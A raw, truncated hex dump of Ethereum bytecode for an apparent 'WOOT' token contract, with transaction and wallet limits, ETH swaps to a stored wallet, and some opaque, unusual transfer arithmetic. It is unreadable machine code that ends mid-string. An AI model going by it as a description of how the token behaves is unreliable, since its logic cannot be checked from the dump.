0600160126000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000620008e262000ffb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016015600062000a3d62000ffb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000ce5600c5462000cd1600b54600a546200102460201b62001a881790919060201c565b6200102460201b62001a881790919060201c565b601f8190555062000d2460095462000d10600854601c546200102460201b62001a881790919060201c565b6200102460201b62001a881790919060201c565b602081905550600160136000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506016546006600062000dfc62000ff360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160126000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000ec462000ff360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6016546040518082815260200191505060405180910390a35062001257565b60008083141562000f47576000905062000fb7565b600082840290508284828162000f5957fe5b041462000fb2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180620041d5602d913960400191505060405180910390fd5b809150505b92915050565b600062000feb8383604051806060016040528060268152602001620041af602691396200109160201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082840190508381101562001087576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180620042026027913960400191505060405180910390fd5b8091505092915050565b6000808311829062001141576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101562001105578082015181840152602081019050620010e8565b50505050905090810190601f168015620011335780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816200114e57fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620011945760008555620011e0565b82601f10620011af57805160ff1916838001178555620011e0565b82800160010185558215620011e0579182015b82811115620011df578251825591602001919060010190620011c2565b5b509050620011ef919062001238565b5090565b826004810192821562001225579160200282015b828111156200122457825182559160200191906001019062001207565b5b50905062001234919062001238565b5090565b5b808211156200125357600081600090555060010162001239565b5090565b60805160601c60a05160601c612f246200128b60003980610f8b52806111095250806110dd52806111355250612f246000f3fe60806040526004361061026a5760003560e01c806382eefb4311610144578063c5d24189116100b6578063dc44b6a01161007a578063dc44b6a014610d3d578063dd62ed3e14610d68578063f0cd1dac14610ded578063f2fde38b14610e18578063f8087a4f14610e69578063f872858a14610e9457610271565b8063c5d2418914610bee578063c816841b14610c19578063c867d60b14610c5a578063ceb306ea14610cc1578063da00097d14610d1057610271565b806395d89b411161010857806395d89b41146109a157806398e944c814610a31578063a457c2d714610a72578063a9059cbb14610ae3578063b115e4df14610b54578063b86fdf2d14610b9557610271565b806382eefb4314610878578063867d4e72146108a357806388790a68146108ce5780638b42507f146108f95780638da5cb5b1461096057610271565b806338253ad5116101dd5780635c3d371d116101a15780635c3d371d14610750578063701cf6f41461077b57806370a08231146107a6578063715018a61461080b5780637d1db4a514610822578063807c2d9c1461084d57610271565b806338253ad5146105bb57806339509351146105e65780633ecad271146106575780635194f9bf146106be5780635342acb4146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b506105d0611194565b6040518082815260200191505060405180910390f35b3480156105f257600080fd5b5061063f6004803603604081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061119a565b60405180821515815260200191505060405180910390f35b34801561066357600080fd5b506106a66004803603602081101561067a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124d565b60405180821515815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107386004803603602081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611273565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b50610765611293565b6040518082815260200191505060405180910390f35b34801561078757600080fd5b50610790611299565b6040518082815260200191505060405180910390f35b3480156107b257600080fd5b506107f5600480360360208110156107c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129f565b6040518082815260200191505060405180910390f35b34801561081757600080fd5b506108206112e8565b005b34801561082e57600080fd5b50610837611453565b6040518082815260200191505060405180910390f35b34801561085957600080fd5b50610862611459565b6040518082815260200191505060405180910390f35b34801561088457600080fd5b5061088d61145f565b6040518082815260200191505060405180910390f35b3480156108af57600080fd5b506108b8611465565b6040518082815260200191505060405180910390f35b3480156108da57600080fd5b506108e361146b565b6040518082815260200191505060405180910390f35b34801561090557600080fd5b506109486004803603602081101561091c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b60405180821515815260200191505060405180910390f35b34801561096c57600080fd5b50610975611491565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ad57600080fd5b506109b66114ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f65780820151818401526020810190506109db565b50505050905090810190601f168015610a235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a3d57600080fd5b50610a4661155c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a7e57600080fd5b50610acb60048036036040811015610a9557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611582565b60405180821515815260200191505060405180910390f35b348015610aef57600080fd5b50610b3c60048036036040811015610b0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061164f565b60405180821515815260200191505060405180910390f35b348015610b6057600080fd5b50610b6961166e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba157600080fd5b50610bd860048036036040811015610bb857600080fd5b810190808035906020019092919080359060200190929190505050611694565b6040518082815260200191505060405180910390f35b348015610bfa57600080fd5b50610c036116c1565b6040518082815260200191505060405180910390f35b348015610c2557600080fd5b50610c2e6116c7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c6657600080fd5b50610ca960048036036020811015610c7d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ed565b60405180821515815260200191505060405180910390f35b348015610ccd57600080fd5b50610cfa60048036036020811015610ce457600080fd5b810190808035906020019092919050505061170d565b6040518082815260200191505060405180910390f35b348015610d1c57600080fd5b50610d25611728565b60405180821515815260200191505060405180910390f35b348015610d4957600080fd5b50610d5261173b565b6040518082815260200191505060405180910390f35b348015610d7457600080fd5b50610dd760048036036040811015610d8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611741565b6040518082815260200191505060405180910390f35b348015610df957600080fd5b50610e026117c8565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e6760048036036020811015610e3b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b005b348015610e7557600080fd5b50610e7e6119bc565b6040518082815260200191505060405180910390f35b348015610ea057600080fd5b50610ea96119c2565b60405180821515815260200191505060405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7f5780601f10610f5457610100808354040283529160200191610f7f565b820191906000526020600020905b815481529060010190602001808311610f6257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610fc1610fba611af3565b8484611afb565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601654905090565b600c5481565b600061100e848484611cf2565b506110d08461101b611af3565b6110cb85604051806060016040528060338152602001612d5060339139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611081611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b611afb565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061117861112d7f000000000000000000000000000000000000000000000000000000000000000061129f565b61116a6111597f000000000000000000000000000000000000000000000000000000000000000061129f565b60165461246690919063ffffffff16565b61246690919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600d5481565b60006112436111a7611af3565b8461123e85600760006111b8611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b611afb565b6001905092915050565b60136020528060005260406000206000915054906101000a900460ff1681565b60095481565b60126020528060005260406000206000915054906101000a900460ff1681565b601e5481565b60085481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112f0611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612d24602c913960400191505060405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60185481565b60195481565b60205481565b60175481565b601c5481565b60156020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115525780601f1061152757610100808354040283529160200191611552565b820191906000526020600020905b81548152906001019060200180831161153557829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061164561158f611af3565b8461164085604051806060016040528060308152602001612e8f60309139600760006115b9611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b611afb565b6001905092915050565b600061166361165c611af3565b8484611cf2565b506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008183106116a5578190506116bb565b8160028401106116b7578190506116bb565b8290505b92915050565b600b5481565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60146020528060005260406000206000915054906101000a900460ff1681565b600e816004811061171d57600080fd5b016000915090505481565b601b60159054906101000a900460ff1681565b600a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6117d6611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612d24602c913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180612e5d6032913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b601b60169054906101000a900460ff1681565b6000808314156119e85760009050611a55565b60008284029050828482816119f957fe5b0414611a50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612d83602d913960400191505060405180910390fd5b809150505b92915050565b6000611a808383604051806060016040528060268152602001612cac60269139612493565b905092915050565b600080828401905083811015611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612e366027913960400191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612ddd602f913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612db0602d913960400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180612ebf6030913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612cf6602e913960400191505060405180910390fd5b601b60149054906101000a900460ff1615611e2657611e1f848484612559565b905061239f565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eca5750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2b57601854821115611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612cd26024913960400191505060405180910390fd5b5b6000611f363061129f565b905060006017548210159050808015611f5c5750601b60149054906101000a900460ff16155b8015611fb25750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fdc57601b60159054906101000a900460ff1615611fd25760175491505b611fdb82612885565b5b601b60169054906101000a900460ff1680156120425750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121025760195461208d6120766103e8612068602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b61207f8861129f565b611a8890919063ffffffff16565b1115612101576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f57616c6c6574204c696d69742121436865636120616761696e2e00000000000081525060200191505060405180910390fd5b5b61217b6121566121316103e8612123602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b7e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b7e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b600e60036004811061218957fe5b01819055506121e16121ba6103e86121ac602054886119d590919063ffffffff16565b611a5b90919063ffffffff16565b85037e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b600e6002600481106121ef57fe5b0181905550601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615806122975750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8061233f5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061233e5750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561235b5761044d601e6000828254019250508190555061238c565b61de16601d54146123735761236e61295b565b61238b565b610842601e600082825401925050819055601d819055505b5b612397868686612559565b506001925050505b9392505050565b6000838311158290612453576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124185780820151818401526020810190506123fd565b50505050905090810190601f1680156124455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061248b83836040518060600160405280602a8152602001612e0c602a91396123a6565b905092915050565b6000808311829061253f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125045780820151818401526020810190506124e9565b50505050905090810190601f1680156125315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161254b57fe5b049050809150509392505050565b60006125e4826040518060400160405280601881526020017f496e73756666696369656e74436865636120616761696e2e0000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a69092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610999601e819055600e60016004811061263d57fe5b0181905550601b60149054906101000a900460ff1615612681576000600e60036004811061266757fe5b018190555081600e60026004811061267b57fe5b01819055505b60006126be600e60026004811061269457fe5b01546063017e0b58bddbd2ce5bfa782f37c6a722c84d9a8006483743381801e7fe16cff6b4611694565b905061271281600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b6600e60036004811061276657fe5b0154600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610999601e819055600e60016004811061280f57fe5b01819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6001601b60146101000a81548160ff0219169083151502179055506128a9816129ca565b6000479050600081111561292157600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561291f573d6000803e3d6000fd5b505b6101a1601e819055600e60016004811061293757fe5b0181905550506000601b60146101000a81548160ff02191690831515021790555050565b6001601e54600a601e546104a301030103601d819055506b066c6ef08e51006c03a941dc600e60036004811061298d57fe5b0160008282540192505081905550601e54601d81905550610999601e819055600e6001600481106129ba57fe5b0181905550601e54601d81905550565b6000600267ffffffffffffffff811180156129e457600080fd5b50604051908082528060200260200182016040528015612a135781602001602082028036833780820191505090505b509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a7e57600080fd5b505afa158015612a92573d6000803e3d6000fd5b505050506040513d6020811015612aa857600080fd5b810190808051906020019092919050505081600181518110612ac657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600081518110612b0e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b7530601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611afb565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612c39578082015181840152602081019050612c1e565b505050509050019650505050505050600060405180830381600087803b158015612c6257600080fd5b505af1158015612c76573d6000803e3d6000fd5b50505050601e54601d8190555061a512601e819055600e600160048110612c9957fe5b0181905550601e54601d81905550505056fe536166654d6174683a206469766973696f6e206279207a65726f436865636120616761696e2e6578636565647320746865206d61785478416d6f756e742e436865636120616761696e2e574f4f543a207472616e7366657220746f20746865207a65726f2061646472657373436865636120616761696e2e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436865636120616761696e2e574f4f543a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365436865636120616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636120616761696e2e574f4f543a20617070726f766520746f20746865207a65726f2061646472657373436865636120616761696e2e574f4f543a20617070726f76652066726f6d20746865207a65726f2061646472657373436865636120616761696e2e536166654d6174683a207375627472616374696f6e206f766572666c6f77436865636120616761696e2e536166654d6174683a206164646974696f6e206f766572666c6f77436865636120616761696e2e4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436865636120616761696e2e574f4f543a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f436865636120616761696e2e574f4f543a207472616e736665722066726f6d20746865207a65726f2061646472657373436865636120616761696e2ea2646970667358221220310ffd8dabf149524881c68948fad21157a0b4e17526833edc38e16ce70e25c864736f6c63430007060033536166654d6174683a206469766973696f6e206279207a65726f436865636120616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636120616761696e2e536166654d6174683a206164646974696f6e206f766572666c6f77436865636120616761696e2e

Deployed Bytecode

0x60806040526004361061026a5760003560e01c806382eefb4311610144578063c5d24189116100b6578063dc44b6a01161007a578063dc44b6a014610d3d578063dd62ed3e14610d68578063f0cd1dac14610ded578063f2fde38b14610e18578063f8087a4f14610e69578063f872858a14610e9457610271565b8063c5d2418914610bee578063c816841b14610c19578063c867d60b14610c5a578063ceb306ea14610cc1578063da00097d14610d1057610271565b806395d89b411161010857806395d89b41146109a157806398e944c814610a31578063a457c2d714610a72578063a9059cbb14610ae3578063b115e4df14610b54578063b86fdf2d14610b9557610271565b806382eefb4314610878578063867d4e72146108a357806388790a68146108ce5780638b42507f146108f95780638da5cb5b1461096057610271565b806338253ad5116101dd5780635c3d371d116101a15780635c3d371d14610750578063701cf6f41461077b57806370a08231146107a6578063715018a61461080b5780637d1db4a514610822578063807c2d9c1461084d57610271565b806338253ad5146105bb57806339509351146105e65780633ecad271146106575780635194f9bf146106be5780635342acb4146106e957610271565b806318160ddd1161022f57806318160ddd1461043a57806323555d571461046557806323b872dd1461049057806327c8f835146105215780632b112e4914610562578063313ce5671461058d57610271565b8062851fb31461027657806306fdde03146102b75780630930907b14610347578063095ea7b3146103885780631694505e146103f957610271565b3661027157005b600080fd5b34801561028257600080fd5b5061028b610ec1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c357600080fd5b506102cc610ee7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035357600080fd5b5061035c610f89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b60405180821515815260200191505060405180910390f35b34801561040557600080fd5b5061040e610fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f610ff1565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061047a610ffb565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b50610509600480360360608110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b60405180821515815260200191505060405180910390f35b34801561052d57600080fd5b506105366110db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056e57600080fd5b506105776110ff565b6040518082815260200191505060405180910390f35b34801561059957600080fd5b506105a261117d565b604051808260ff16815260200191505060405180910390f35b3480156105c757600080fd5b506105d0611194565b6040518082815260200191505060405180910390f35b3480156105f257600080fd5b5061063f6004803603604081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061119a565b60405180821515815260200191505060405180910390f35b34801561066357600080fd5b506106a66004803603602081101561067a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124d565b60405180821515815260200191505060405180910390f35b3480156106ca57600080fd5b506106d361126d565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107386004803603602081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611273565b60405180821515815260200191505060405180910390f35b34801561075c57600080fd5b50610765611293565b6040518082815260200191505060405180910390f35b34801561078757600080fd5b50610790611299565b6040518082815260200191505060405180910390f35b3480156107b257600080fd5b506107f5600480360360208110156107c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129f565b6040518082815260200191505060405180910390f35b34801561081757600080f